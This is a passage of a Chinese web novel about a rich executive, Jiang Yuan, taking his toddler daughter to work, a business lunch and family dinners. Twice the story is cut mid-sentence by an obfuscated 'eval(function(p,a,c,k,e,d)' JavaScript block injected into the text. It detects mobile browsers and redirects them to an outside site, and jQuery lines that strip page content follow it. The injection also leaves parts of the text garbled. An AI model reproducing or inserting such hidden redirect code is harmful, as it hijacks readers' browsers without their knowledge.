在车上时,程与英说起今天带女儿来工作的感受。 “她真的很听话,也不哭不吵,就自己在那里玩。我那些同事哪个都说她乖的不行。” 蒋源饶有趣味地听着,说道:“小丫头性格确实不错,不让人操心。” “爸爸,我怎么了?” “爸爸在夸你乖巧可爱。”蒋源欣慰地摸了摸蒋婧的小脑袋。 “那我今天可以吃一个冰淇淋吗?” “可以,但是你要答应爸爸,就只吃一个哦,不能再撒娇想要第二个好不好?” 蒋婧手里还在玩着魔方,听了为难地思考了一下,说道:“好吧,那我考虑一下!” 两夫妇被逗笑,蒋源捏捏闺女嘟嘟的小脸蛋:“你还考虑一下,这么有想法呀?” 蒋婧乐呵呵地朝他一笑,又专心埋进手里的玩具。 蒋源对程与英说道:“既然这么乖,那之后我也可以带着她去公司。” 程与英:“你的公司和我的公司可不一样,我那小团队整体氛围都很轻松,婧儿今天就算是闹腾其实也没什么。你要是带着崽子去工作,威武的霸总形象可是一秒坍塌。” 蒋源并不在意,一脸慈爱地看着玩的起劲的闺女道:“这有什么的,有这么乖的闺女陪我上班,他们都该羡慕才是。” * 几日后,程与英要出差参加品牌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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蒋怀谦压了声音:“你不能总是这样拆台,小孩子本来就不该吃太多糖。” “这点糖有什么的嘛,又不是超市里卖的工业糖。小宝宝就是要有甜味才能吃的下。” “你再这样,我以后就不让你管婧儿了。” “可是婧儿要我管呢。” “你!” 蒋源望着两兄弟吵吵嚷嚷的样子,无奈地笑了笑,出来当和事佬道:“好了好了,怀谦,没事,婧儿想吃就给她吃吧,爸爸也觉得这点糖没什么。” 蒋怀谦一头黑线,胸口郁结,一点不留情面地说道:“干爸,你和向恒半斤八两,婧儿稍微撒点娇就什么都依她。可是小朋友有的东西必须要严厉管控的,就是不能吃太多糖。” 蒋源:“好好好,爸爸下次一定站在你这边一起管她,好不好?” 蒋怀谦老成地叹了口气。这个家除了他和干妈还有些理智,所有人都是对蒋婧千娇百宠,要什么给什么,这怎么能行? 吃完饭,蒋源抱着闺女准备去上班,在家门口说道:“婧儿要陪爸爸去工作了,和两个哥哥再见。” “再见哥哥!再见向恒哥哥!” 蒋怀谦还是不放心自家爸爸带妹妹,叮嘱道:“干爸,你别给她吃太多糖。” “知道了,妹妹的专属小管家。” 蒋婧盯着蒋怀谦看了好几秒,才犹犹豫豫地向他招招手。 蒋怀谦了然地过来凑近,由她拢住嘴巴说悄悄话:“你不要不高兴,哥哥,我对不起。” 他哪能和她一个小宝宝置气,语气温柔地说道:“那下次你还吃那么多糖吗?” 小丫头一板一眼地点点头:“吃!” 蒋怀谦又气又笑,捏住她嘟嘟的脸蛋,说道:“那哥哥要是因为你吃糖又生气了怎么办?” “那我就再和哥哥说对不起!” 蒋怀谦:“........” 蒋源哈哈大笑,抱住她颠了颠,举高说道:“小鬼灵精!” 蒋婧被抱得咯吱咯吱笑,一脸无虞天真。蒋怀谦望着,也没办法不依着她。 很要命的一个妹妹,只要她笑笑,她要什么,他都愿意努力去满足她。 8. 第8章 蒋氏家大业大,家族积蓄了百年的政军商经验,到了今天,仍然是盘根错节,势力强大。 然而蒋源年轻的时候却没有按照父辈安排的路走,倒是出来自己另起炉灶,赶上了时代发展的需要,创建了国内的巨头企业融华,使其成为涵盖了从通信设备、电子商务,云服务、芯片、物联网和人工智能等多个领域的品牌集团。 宾利飞驰驶进融华园区,蒋婧透过车窗好奇地看着外面,问道:“爸爸,我们要去哪里?” “去爸爸工作的地方呀,这里就是爸爸的公司。” “有好多长方形的房子!” “对,中间那一栋就是爸爸工作的楼。” 车子在董事专用区停下,蒋源抱着闺女乘专用电梯抵达高层的首席执行官办公区。 “蒋总,早上好。”总助戴礼已经在接待区等候,见到抱着一个幼儿出现的总裁丝毫没有表现出惊讶。 “想必这位就是婧小姐。你好,蒋婧小姐,初次见面,我是蒋总的总助,你可以叫我戴礼。” “早上好,戴礼,是的。婧儿,和叔叔打个招呼。” 蒋婧不开心地撇嘴,抱住他的脖子,小声地说道:“不要!” “怎么了?”蒋源柔声询问秒变小乌龟的闺女。 蒋婧闷头不吭声,只留下一个圆圆的后脑勺对着戴礼。 戴礼连忙打破父女短暂的沉默,说到:“总裁,您提前嘱托的儿童玩乐设备都准备齐全了,这会就可以带婧小姐去熟悉熟悉。” 蒋源点点头,对趴在自己肩上的女儿哄道:“这个叔叔给你准备了特别好玩的玩具哦,你和叔叔说声谢谢好不好?” 小丫头像是被踩到尾巴似的,开始闹脾气:“我不想说!” 蒋源感到奇怪,想看看女儿的脸,她却紧紧抱住自己的脖子哼唧着想回家。 “好好好,宝贝乖,不想说就不说,爸爸替你说好不好?”蒋源转向助理:“谢谢你,戴礼。” 戴礼连忙微微俯身:“应该做的,总裁。” * 巨幅落地窗投射城市天际线的光影下,紧邻胡桃木总裁办公桌三米处,一道半弧形的雾色羊绒屏风悄然圈出一方童趣之地。 冷冽的大理石地板上摆上了整张新西兰纯羊毛云朵爬行毯,上面有序地堆放着各种样式的玩具。 蒋婧被抱着稳稳地放在了铺着柔软毛绒垫的秋千椅上,情绪去得很快,一下子就被玩具给吸引了。 “爸爸,这里好漂亮!都是给我玩的吗?”她在秋千椅上欢快地晃了加下,兴奋地问道。 “对呀,这就是戴礼叔叔给你布置,喜欢吗?” 蒋婧从椅子上跳下来,抱住爸爸的腿,躲在后面偷偷瞥了眼他身后候着的戴礼,蚊子似的“嗯”了一声:“喜欢。” 戴礼察觉到她善意却腼腆好奇的目光,本着工作态度来完成这一任务的心态在听到她说喜欢的这一瞬间,有些被触动。 他从来没有在现实中见到过这样漂亮得像洋娃娃似的人类幼崽,眨着双圆溜溜、亮晶晶的大眼睛悄悄打量人的时候,有一种小鹿般的灵巧纯真。 蒋源大概能猜到女儿的怕生,也不强求她这么小就要学会社会礼仪。他蹲下来安抚地拍拍蒋婧的头,和煦地说道:“那婧儿可以自己在这里玩一会儿吗?到喝水的时间了,爸爸去给你倒杯热水好不好?” “好!”她小小一只蹲在地上翻看着玩具,乖乖应下,又马上拉住蒋源的手:“爸爸爸爸,你要记得,我不要喝没有味道的水,我要喝甜甜的水!” 蒋源刻意做出思考的表情:“那牛奶可不可以?” “是草莓牛奶吗?” 蒋源弯了弯唇,完全被她拿捏住。他看向戴礼,眼神询问。 戴礼立马回复:“总裁稍等,我这就联系高层餐饮服务处,让他们准备些小朋友喜欢的吃食和饮品过来。” “嗯,嘱咐他们注意备些健康的。” “好的。” 戴礼稳步退出了占据了大半层的办公室,之后,另一名行政助理许慧抱着平板,敲门询问:“总裁,现在是否方便向您宣读一下今日的行程。” “可以的,请进。” 蒋源端起办公桌上提前备好的咖啡抿了一口,一边翻看着今天的文件资料听她讲,一边关注着女儿玩耍的动向。 行政助理咬字分明地进行着行程汇报:“好的,总裁。这是为您梳理的今日行程重点。 上午 9:00-10:30,总部 A801会议室,与核心事业部负责人们进行季度业绩复盘与Q3增长策略会。 上午 10:35-11:35,CFO 陈总预约来您办公室进行一对一重点简报。 上午 11:45-12:45,园区朗庭宴会厅,与通大AI实验室的师生团队、云智能客户成功部与投资人张董进行午餐会。 下午 2:00-3:00,总部视频会议室连线深市,由李副总主持新并购项目‘星辰科技’整合方案的汇报会 。 下午 3:10-4:30,董事会会议室,关于六大业务集团协同机制落地的战略会议。 下午 4:30-5:00,在太极禅苑会见沙特主权基金PIF亚太负责人争取云基础设施优先采购条款,保密协议已签署,谈判底线清单在您公文夹。 您看整体安排是否妥当?是否有需要调整的地方?” “可以,暂时没问题,一切照行程安排,有变动你随时提醒我。” “好的,总裁。”许慧关闭平板,一抬头就看到了不远处盯着自己看的小糯米团子似的小人儿。 许慧内心:总裁这小闺女,实在是长得有些过分可爱了吧。 蒋婧见她对上了自己的视线,立马不太熟练地移开,几秒后又偷偷看过来。 许慧朝她大大方方地给出一个笑容。 蒋婧愣住了片刻,有些无措地眨眨眼睛,然后挥着还抓着棒棒糖的手,也甜甜地一笑。 蒋源捕捉到闺女的笑容,不动声色地弯了弯唇。 * 意大利小牛皮包裹的防撞条蜿蜒覆盖了偌大的办公室里小朋友能接触到的所有尖角。 蒋婧踩着她粉红色的无声滚轮滑板车,在占地广阔的办公室里划过去,又划过来,也不发出吵闹的声音,一个人玩的尤其开心。 两人的工作讨论已经结束,CFO陈群坐在沙发上,回头看了眼蒋婧,同一边坐着的蒋源说道:“你这女儿生的水灵啊,改天我带我儿子来一起和她玩。” “你家儿子今年多大了来着?” “今年刚上小学,马上7岁了。” 蒋源点点头:“长得真快,上次见总感觉还很小。” “是啊,小朋友就是长大很快的。我看着你这闺女,性格挺乖的,带来也不哭不闹的。” 蒋源最爱听别人夸自己的闺女,这会儿眉眼带笑地说道:“确实如此,是个天使宝宝。” 送走了陈副总,蒋源才抽了间隙过来看趴在落地窗前仰着脑袋看天的女儿,他捏捏女儿嘟嘟的脸蛋,柔声问道:“在玩什么呢,婧儿?” “爸爸,你看,天上有一个飞机在游泳!” 蒋源顺着她手指的方向抬头,晴空万里的蓝天上没有一朵云彩,视野中间一架飞机划过,带出白色的气流线,好像水里的波纹。 “这样啊。”蒋源心里一下子就奇妙地宁静下来,把蒋婧抱在怀里和她一起看这驾飞机飞过。 -“婧儿想坐飞机吗?” -“我没坐过,我会不会害怕?” -“有爸爸在,不用怕。” -“那我就想。” 蒋源亲亲她的额头:“等哥哥放暑假,爸爸就带你和哥哥,还有妈妈,我们一起坐飞机出去玩,好不好?” “好耶!那哥哥可以今天就放暑假吗?” 蒋源忍俊不禁,抱起她往外走:“这就等不及了?哥哥放暑假还要两个月呢。” -“两个月是多久?” -“两个月是60天。” -“60天是多久?” -“等到天气很热很热的时候,就是60天到了。” -“那我到时候是不是就可以每天都吃冰淇淋了,因为天气已经很热很热了。” -“就知道吃冰淇淋。” -“不然我吃什么?” -“要乖乖吃饭。” -“冰淇淋为什么不是饭?” -“........” 一大一小就这样一问一答,蒋源不失耐心,只要闺女一直问,他就一直句句有回应地回答,父女俩聊着天,上了公司园区摆渡车,抵达集团园区招待专业的宴会食府。 月白素色墙调、竹制卷帘窗、中央是一张硕大厚重的小叶紫檀圆桌,旁桌休憩处置一尊精巧的铜制香炉,袅袅升起一线沉香,清雅别致的宋韵包厢装潢将中式奢华演绎得恰到好处。 蒋源进门后,众人皆是起身问好。 他蒋婧抱着放到儿童座椅上坐好,才一一过去与众人握手致歉:“让诸位久等,实在不好意思。小女年纪小,独自放家里不放心,想着这次用餐都是熟人相聚,干脆把我闺女带过来照看着,还望各位友人别介意。” 通大研究实验室带队的教授接话:“蒋总哪的话,您带着令媛过来,这氛围必然是多出几分温馨!” 蒋源又客套了几句,终于落座主位,同在座的几位人物商讨起科研攻坚和技术落地的问题和进展。 交谈的间隙,蒋源也不忘面面俱到地照顾女儿吃饭。 -“婧儿,你尝尝这个松茸菊花豆腐盅,能不能合到你的胃口?” -“松永菊发豆虎中?系什么?” 她不清不楚又奶声奶气的发音将在座的人都逗笑了,见别人都望着自己笑,蒋婧一下子僵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189326|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住表情,抿着小嘴有些怕生地抓住爸爸的衣袖。 蒋源面上尽是温柔宠溺,他舀了一勺汤,吹了又吹,才喂到她嘴边,同时还向她解释道:“就是加了松茸煮的鸡汤里加一方嫩豆腐,你看这个豆腐被厉害的厨师切成细如发丝的菊花状,很不容易的,婧儿是不是应该给点面子好好品尝品尝?” 蒋婧呆萌地点点头,含住调羹喝了一口,然后皱巴起一张小脸:“我不喜欢这个味道。” “那婧儿可能合不来松茸的味儿,没关系,爸爸给你盛其他的菜试试,好不好?” 此次的合作投资人张董是蒋源以前就认识的业界好友,第一次见到理性严谨、行事决断的蒋源露出这样温和的一面,多少感到有些惊奇,直感叹有了女儿就是铁汉柔情。 他出声推荐道:“要不试试这道古法蒸长江鲥鱼,小孩子多吃鱼肉,有营养。” 蒋源夹了一块,尤为仔细地把鱼刺挑出来,只给她尝了很小的一块。谁知小丫头还是皱了眉头,面露嫌弃地说道:“有怪味道,这只鱼是不是没洗澡就被做成菜了?是不是,爸爸?” 蒋源莞尔,无奈地放下试图教会女儿吃鱼的念头。这小家伙从开始吃辅食起,就不喜欢吃鱼,但鱼肉营养丰富,他想找到女儿能接受的鱼肉烹饪法。 看来今天也试图哄女吃鱼失败。 “是,看来婧儿也不喜欢这道鱼。” 蒋源于是夹了两块炭烤迷迭香鸡翅放到她碗里,又给她两只手带上儿童一次性手套,下任务式的说道:“鸡翅可没得挑了,你乖乖把这两个鸡翅吃了好不好?要多吃肉,才能长壮壮。” 见蒋婧面上露出为难不想吃的表情,蒋源继续哄道:“你最近看蝴蝶仙子的动画片,总说想有翅膀。多吃鸡翅的话,婧儿就能长出小翅膀了。” 蒋婧微微长大花瓣似的柔软小嘴,露出小小的两颗兔子门牙,真诚地呆呆发问:“真的吗?” “爸爸的话你还不信吗?吃完,好不好?” 蒋婧于是终于愿意吃饭,双手捧着鸡翅安静地啃了很久很久。 桌上的人围绕着孩子打开话题,氛围一下子变得家常气起来。 -“蒋总,您女儿长得真漂亮!一看就是遗传了爸爸的帅气颜值。” -“都是她妈妈长得好看。” -“蒋总,小千金几岁了?” -“刚满两岁没多久呢。” -“这么小就这么听话懂事。” -“是啊,这小丫头从小就好带。” -“孩子的大名叫什么?” -“蒋婧,女子青,取的女子有才华之意。” -“蒋总有文化。” -“都是她爷爷争着取的,我和她妈看了也觉得不错,就定下了。” -“好名字,叫起来也朗朗上口。” -“要我说,蒋总带娃耐心是真的好!” 蒋源却是头疼地与说话的人碰了碰杯,说道:“挑食的很,每次吃个饭都推三阻四的。” 蒋婧的识别雷达精准相应,立马脆生生地问道:“爸爸,我怎么啦?” 众人发笑,兴致颇高地继续看父女二人的互动。 -“爸爸夸你可爱呢,你乖乖的,把两个鸡翅啃完。” -“我在啃了!” -“你那是啃吗?你那是舔,肉一块没少,净吸上面的酱汁怎么能行,用你的小兔门牙咬。” -“我的牙好累,我吃不动了....” 蒋源于是戴了一次性手套,又细致地把鸡翅上的肉都撇扯下来,放到她的小碗里:“乖乖的,把肉吃了。” 蒋婧泄气地嘟嘴,皱巴了一下脸,不情不愿地往嘴里塞肉。 * 结束了饭局,刚好是午休的时间,公司占地广袤的园区里更安静了些。蒋源抱着闺女到花园里参观喷泉,又牵着她的手在鹅卵石上练习了一会走路跑跳,这才又回了办公室。 高层的总裁办公室设施完整,在暗门后面,是堪比一套大平层公寓的休息区。 蒋源抱着已经发困的女儿进了卧室午休。 “热不热?爸爸开这个空调温度合适吗?” 蒋婧摇摇头:“不热。” 她窝在爸爸的臂弯里,含含糊糊地带着困意说道:“爸爸,你每天都要见好多人哦。” 蒋源心满意足地抱着奶香奶香的闺女闭上眼,回复她:“这是爸爸的工作嘛。” -“你喜欢陪爸爸一起上班吗?” -“喜欢。” -“爸爸也喜欢婧儿陪我上班。” 他一下一下轻柔地拍着小人儿的背,在他以为蒋婧已经睡着的时候,她用小奶猫一样软糯的语气说道:“我爱你爸爸,我喜欢和爸爸在一起玩。” 蒋源睁开眼睛,怔愣了一瞬,神色倏忽温柔得不像话。 他亲亲闺女的额头,在她耳边呢喃到:“爸爸也爱你,特别爱你。” 9. 第9章 蒋婧的午觉睡了很长时间,蒋源结束了下午的两个会议,她还没有自己醒来。 在空闲时间把闺女叫起来,蒋源哄着她下地玩会儿:“你再乖乖地在这里玩一个小时的滑板车,或者看看绘本,画一会儿画,爸爸再开一个会回来我们就可以回家了,好不好?” 还没完全睡醒的蒋婧懵懵地点头,抱住爸爸的胳膊把小脸蛋贴上去,软绵绵地说道:“我再睡会儿玩。” -“不能再睡了,宝贝。睡多了晚上就要当猫头鹰了。” -“我知道猫头鹰!我在动物园里看到过!” -“宝宝记性真好,还记得呢?” -“当然啦!和爸爸妈妈哥哥做的所有事情我都记得!” 个子小小的蒋婧比了一个画圆的大动作,重心不稳地扑跌在床上。 蒋源被可爱到,笑呵呵地抱起她,亲亲她的头顶:“真棒,爸爸也会记得和婧儿做的所有事情。” * 办公室的双开门大开着,戴礼受托在这守着蒋婧,这会儿从自己的秘书处办公室移到了总裁办的接待沙发上,既不越界进入总裁的地盘,又能看到蒋婧的动态。 蒋婧在自己的小桌子上很沉浸地画了很久的画,小嘴巴不时还能哼出几句轻快的歌。 从背面看,她圆圆的脑袋上还有几缕小呆毛摇曳着,小腿小脚悠闲地晃来晃去。 到了时间,戴礼进去询问她要不要喝水。 蒋婧90°抬头看他,摇摇头,问:“我爸爸什么时候回来?” “估计还需要至少半个小时,婧婧小姐。” 小丫头若有所思地盯着他看,一双一张小脸莹白如新剥的嫩菱,脸颊饱满,奶膘微微鼓着,如同含着两颗软糯的小汤圆。小嘴天然带着花瓣似的嫩红,此刻正无意识地微微嘟起。 “你可以再和我说一遍你的名字吗?”她的声音糯糯的,有着小孩子特有的天然纯净感。 “当然可以。我叫戴礼,婧婧小姐。” “好吧,礼礼先生。”她一字一句地说道,那双小圆眼如同初霁夜空里最澄澈的星子。 “这个是给你的。” 她把画好的画递出去。 戴礼有些惊讶,单腿半蹲下来,接过那张画。 对于2岁的小朋友来说,这幅画已经画得非常优秀了。用笔涂色都很干净,绘的是一个穿着西装、戴着眼镜的人,脸上还用弧度表现出一抹微笑。 戴礼褪去了那副公事公办的模样,柔声开口:“婧婧小姐画的是我吗?” 她捂着嘴,只露出一双笑意晶亮的眼睛,不好意思地点点头。 “为什么要画一张我送给我?” “因为我想画。” 戴礼眼角牵起细微而温柔的弧度:“谢谢你,婧婧小姐,我很喜欢。” “你先别走,还有一个东西要给你!” 蒋婧拉住他,从自己的小熊背包里掏出了一个棒棒糖:“给你吃。” -“不用,婧婧小姐留着自己吃就好。” -“不要,你给了我好多玩具,我就给你吃糖。” 戴礼眉宇漾出春阳一般的愉悦,他了然地说道:“所以,婧婧小姐,送我一副画,给我一颗糖,都是在和我道谢,是吗?” 蒋婧迟疑了一瞬,然后抿着带笑的唇羞涩地点了点头。 “因为你给了准备了好多玩具,我都很开心。” 戴礼忍不住上手拍了拍她的头,是真的对她喜爱有加。 -“婧婧小姐开心就好,希望下次再见,婧婧小姐不会对我生疏。” -“什么是生疏?” -“就是,嗯... 不把我当成好朋友的意思。” 蒋婧于是小指头勾住他的手,说道:“那我们拉钩,下一次我再来,我们还是好朋友。” 他注视着她,先是微微一怔,随即,那绷紧的唇线便如初春解冻的河岸,缓缓地、不由自主地向上弯起。 “好,下次我再给你准备更有趣的玩具。” * 结束今天的工作后,蒋源带着蒋婧去接了两个放学的孩子,前往京福坊吃饭。 蒋向恒和蒋怀谦在车上询东询西地听着蒋婧讲述今天做了什么,吃了什么,事无巨细。 蒋源在前座听了冒黑线,说道:“你们俩小子,这么不放心我带妹妹去公司呢?” 蒋向恒揉揉蒋婧软软的小脸,说道:“四叔,毕竟我们照顾妹妹的时间可不比你少,我们都可以当婧婧的爸爸了!” “臭小子,说些什么胡话呢!”蒋源被气笑,扬了声音训道。 蒋向恒笑着打诨过去,一看窗外这地儿,就感觉不妙:“四叔,这家店我爹老来,不会我爹也来吧?” 蒋源的笑意里带了些看好戏的捉弄:“你猜对了,今天这顿就是你爸请的。” 后座的人一拍脑门:“四叔,不带这样的!你好歹给我通风报信一声,让我有个心理准备!” * 包厢内,蒋焰已经提前抵达,身姿挺拔地站在窗前眺望热闹的后街步行街,古朴墙砖,映着两侧绿树成荫,行人往来,一派人民幸福的画面。 听到声响,他回头,肃重的脸上展露出一丝微笑:“四弟,来了,快落座。” “二哥,这是工作终于得闲了?” “是啊,前段时间是忙的晕头转向。蒋向恒这皮孩子没给你添麻烦吧?” 蒋源单手抱着蒋婧,揽了揽蒋向恒的肩膀,笑道:“向恒人小鬼大,懂事着呢,不用担心。” 察觉到父亲的视线落在自己身上,蒋向恒立马更端正地站直了,敛了方才在车上嬉皮笑脸的神色,喉咙发紧,稳重地叫了声“爸爸”。 “嗯。”蒋焰背着手点点头,目光如刀锋般扫过他的脸颊,骤然间右拳已如一道闪电般击出,裹挟着风声直冲他面门而来! 蒋向恒狼狈地侧身一躲,迎上父亲的试炼。 两人疾疾过了几招,蒋向恒最后被擒着手臂、扣住膝盖摁倒在地上。 “就这点反应?软得像块烂泥!我不在的时候,是不是懈怠了?” 蒋向恒咬着牙起身,面上弥漫出不甘心的倔气,闷声道:“对不起,爸爸,我会加强锻炼的。” -“每日的体能训练再加几项。还有你要学的那些运动,要学就给我学出点样子来,下次我再检查。” -“知道了爸爸。” -“至于学习,你班主任把上个月的考试成绩发我邮箱了,偏科太严重了,你的语文才考个80多像什么回事?下个月能不能提升到90分?” -“能。” -“大声点!” 蒋向恒立正,小小年纪却中气十足地放出声音:“能!” “很好,我让副官给你找了语文辅导班,以后每个周末过去,好好攻克。” 一边坐下的蒋源慢条斯理地倒好了茶水,见二哥还意犹未尽地要训话,连忙及时打断:“行了行了,二哥,你父子二人好不容易能见一面,一直在这聊学习聊训练也不是个事,都先坐下。向恒,坐下吧,喝口茶。” 接收到父亲许可的目光,蒋向恒才拉开椅子坐下。 蒋源搂住女儿指了指她旁边,温声问道:“婧儿,还没叫二伯父呢。” 蒋婧刚刚被蒋焰训人的样子吓到,好像有人逼迫似的,小奶音有些飘软:“二伯父。” 哪知刚才还一脸严厉威雄的蒋焰一下子神色 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蒋焰微微一怔,侧头看向一边红了脸的儿子。 “二伯父知道了。”蒋焰摸摸小侄女的头,说道:“那可以拜托婧婧告诉哥哥,二伯父也很想他吗?” 这次换蒋向恒怔住了,他拿着筷子,呆呆地看着爸爸。 -“可以!那我晚上回去睡觉的时候,我告诉他。” -“好哦,谢谢婧婧。” -“不客气~” 蒋焰自和小侄女说话起,脸上笑意就没止住过,和自己的弟弟感叹道:“养闺女和养儿子,还是不一样哈?” 蒋源:“那是。” “小女娃还是得金贵着养,这娇娇可爱劲儿,是让人舍不得她受一点委屈的。” 饭吃的差不多,蒋焰让人把准备的礼物送到弟弟车上。 蒋源纳闷:“二哥,你这是干什么,一不过节,二不祝寿的,送这么多东西?” 蒋焰抱着蒋婧在数窗外的麻雀,闻言说道:“都是些生活物件。有给婧婧的买的一些小零食、小玩具,给两个男孩子买的学习用具。最主要是给弟妹的礼物。她这会出差了,否则我该要当面好好谢谢她和你,替我照顾向恒。” “这你就见外了。我照顾自己侄子,还要受你感谢,说出去让人笑话!你就放心工作,向恒在我们这放着,刚好和怀谦一起作伴,互相进步,挺好的。” 蒋焰感激地点点头。 临别前,蒋焰难得地拍了拍儿子的肩膀,说道:“好像又长高了些。” 他仰着头看父亲,面上一层乌云:“爸爸,你这次又要多久之后才能回来?” “不清楚。你在四叔家要听话,多照顾怀谦和婧婧,知道吗?” “我知道的,爸爸。” 司机已经在候着,蒋焰最后看了看儿子:“想我的时候,就给我发消息。我看到了,会回你的。” 回程的路上,蒋向恒兴致不高,没有来时那样活力四射。蒋婧从中间儿童座椅上凑过来,安静地把脸靠在他的肩膀上。 “向恒哥哥,你不高兴吗?” 蒋向恒见她可爱的嘟嘟脸模样,捏了捏,低声道:“有一点。因为我又要很长时间见不到我爸爸了。” 蒋婧仰着头,亲了亲他的鼻头,甜甜地笑道:“你不要不高兴,向恒哥哥,我会陪着你的。还有哥哥,也会陪着你的。还有我的爸爸妈妈。” 心下一软,蒋向恒心里的乌云被她的呆萌可爱挥散而去。 “我知道的,妹妹。我们也是家人嘛。” 10. 第10章 程与英前往云南参加了一个品牌活动,在那一共呆了4天。高原湖泊的风景美如画,气候又清凉如春,还有一些老朋友可以见见,按理说也算是工作之外的放松性社交活动。 开心归开心,但程与英发现自从有了蒋婧,她就很不喜欢出差。总想要自己的宝贝闺女也能看到这样美丽的风景,也能享受到这样可口的美食。 因而活动一结束,她就拒绝了朋友邀请去周边再玩几日的提议,想着给家人们一个惊喜,提前回了北城。 到家的时候刚好是夜幕刚刚降临之时,秋水庄园灯火通明,在暗紫蓝调的天空映衬下,恍若童话里的城堡。 她踩着高跟鞋,身上还没换下珍珠色素缎修身礼裙,步调轻松地走进去。 一进门,她就寻到心口上的宝贝的小身影,开心地喊道:“婧儿,妈妈回来啦!” 蒋婧正趴在定制的华贵摇摇木马上,短短的四肢软趴趴地耷拉下,随着木马的摇晃微微摆动。雪白圆润的脸颊贴在羊绒绣缝的鞍鞯上,一双玻璃珠似的眼睛笑嘻嘻地看着蒋怀谦,百无聊赖地听着哥哥讲绘本。 听到身影,她立马从木马上爬了下来,整个人还感觉懵懵的。下一秒,原本还开心的小人就爆哭起来,迈着小短腿撕心裂肺地喊着妈妈跑过去。 正在接电话的蒋源听到声音连忙从阳台进来,见到妻子回来也是惊喜地愣了愣。 蒋婧从出生起就是个天使宝宝,好哄,又能自己玩,不会无理取闹地哭闹。此刻却哭得比以往任何时候都要悲伤。 哭得太凶,小家伙气息跟不上,小小的胸脯猛烈起伏,跑到妈妈面前,还生气地跺了下一脚,结果重心不稳自己踉跄了一下。 “你、你还记得回来!”她用软糯的奶音说着最凶的话,倒是把在场的人都惊了惊。 小丫头什么时候学会的说这种话。只有蒋怀谦了然又好笑地合上了绘本,目光温柔地看着妹妹的背影。 蒋婧一边哭得上气不接下气,一边却固执地、甚至带着点凶狠地朝着门口那个僵住的身影伸出两只胖乎乎、带着肉涡的小手,五指张开,在空中徒劳地抓挠着。 程与英看了心疼,连忙蹲下来将蒋婧紧紧裹进怀中,像终于寻到了失落的锚点。 “宝宝想妈妈了是不是?妈妈也想你了,特别特别想你。”她抱起闺女,拍着她的背给她顺气,极尽耐心地哄着。 -“你都不在家好久!我都会很伤心!呜呜呜呜呜呜!!” -“妈妈的错,妈妈以后去哪都把婧儿带上,好不好?” -“必须的嘛,因为我都是你的宝宝!” 蒋婧似乎还在生气,打着哭嗝还要一句又一句地训着妈妈。 蒋源看了忍俊不禁,过来用柔巾擦擦她脸上的眼泪鼻涕。“小丫头挺上道,给自己整了出苦情计,把爸爸妈妈可爱死,以后就都不敢出差太久了是不是?” 蒋婧没听懂,但“嗯”了一声,乖乖点头。 程与英笑出了声,只觉得家里的这小宝贝实在让人爱的心都要化了。 “不哭了好不好?”好不容易把闺女哄了不掉眼泪了,程与英才让管家把自己在云南买的吃的玩的送过来,带着闺女和怀谦、向恒一起拆开看。 蒋婧情绪好起来,每一个包裹都期待地鼓掌拍手。 之后一家人其乐融融地吃了晚饭,又一起窝在客厅里玩乐,结束了周五的夜晚。 晚上蒋婧吵着闹着要和妈妈睡,也想和出差很久的老婆亲热的蒋源好劝歹劝没劝成。 “不是平时都要黏着哥哥睡吗?哥哥会伤心的。” “那我明天再和哥哥睡,后天也和哥哥睡,但是今天我想和妈妈睡,可以吗?哥哥~” 蒋怀谦抱抱她,带她去洗漱:“可以的,宝宝。” 蒋源在后面揽住老婆亲了亲,面上有些已然压抑不住的情绪和欲望。 程与英笑的乐不开支,趁着孩子们不注意,垫脚尖咬了咬蒋源的耳朵,说道:“明天三嫂说要带孩子们去游乐场,我没工作,你也休息,我们去酒店开房,怎么样?” “一整天?”蒋源哑声问,吻住她的后劲。 程与英娇嗔地拍了拍他:“哪要的了这么久?” “必须一整天,补足晚上回来陪婧儿占据的时间。” * 晚上蒋婧特别黏地抱着程与英,身上还有着牛奶甜香的小女宝满心满眼里都是妈妈。 “妈妈,我特别特别想你,特别特别爱你。” 程与英搂紧了她,亲亲她,心里最柔软的弦被拨弄着,只想给她一切最好的东西。 “妈妈也爱你,最爱你。” 蒋源在黑暗中把女儿和妻子都抱进了怀里,亲了亲女儿,又亲了亲妻子,幸福地呢喃着:“我也最爱你们。” * 隔天是周六,蒋彬答应了带儿子们去游乐园玩。他心里始终记挂着小侄女,就干脆提议把几个孩子都带上。 蒋彬和常蕙带着两个双胞胎儿子早早到达秋水庄园,进门聊了聊,喝了半杯茶后,程与英才抱着睡意难去的蒋婧下楼来。 常蕙喜笑颜开地招手:“哎呀我们小公主,几天不见三伯母可想死你了,快来给三伯母抱抱!” 蒋婧乖乖地被搂过去,坐到了三伯母怀里,眼睛都还困得睁不开,就开始报菜名似的奶呼呼地依序喊着“三伯母好”“三伯父好”“阿澈哥哥好”“阿熠哥哥好”。 小模样忒可爱,把常蕙和蒋彬萌得眼睛都挪不开。 “我们阿婧宝宝真乖,真懂礼貌。今天要去游乐园,开不开心?”蒋彬俯身晃着她的小手问到。 蒋婧点点头,懵懵地打了个哈欠。 程与英在一边的沙发坐下,抿了口茶,问道:“大哥家那俩孩子今天不去?” 常蕙“嗐”了一声:“大哥你还不知道,对两小孩严苛得不得了,哪允许他们出来玩。说是斯承今天要随着他去学应酬,斐轩得去上大师课。” “这一年到头的,感觉这两娃都没怎么玩过。小朋友嘛,还是得让他们适当玩乐放松的。” 蒋彬却是不同意道:“四弟妹,这大哥家族意识重,一心想把斯承和斐轩培养好,好让底下的弟弟妹妹们能轻松些,也是可以理解的。” 他瞧着和哥哥们争着要抱蒋婧的二儿子,无奈地道:“你说咱家这两个,尤其是蒋熠这皮猴子,比起斯承和斐轩,真的是差太多,我都不好意思说!” 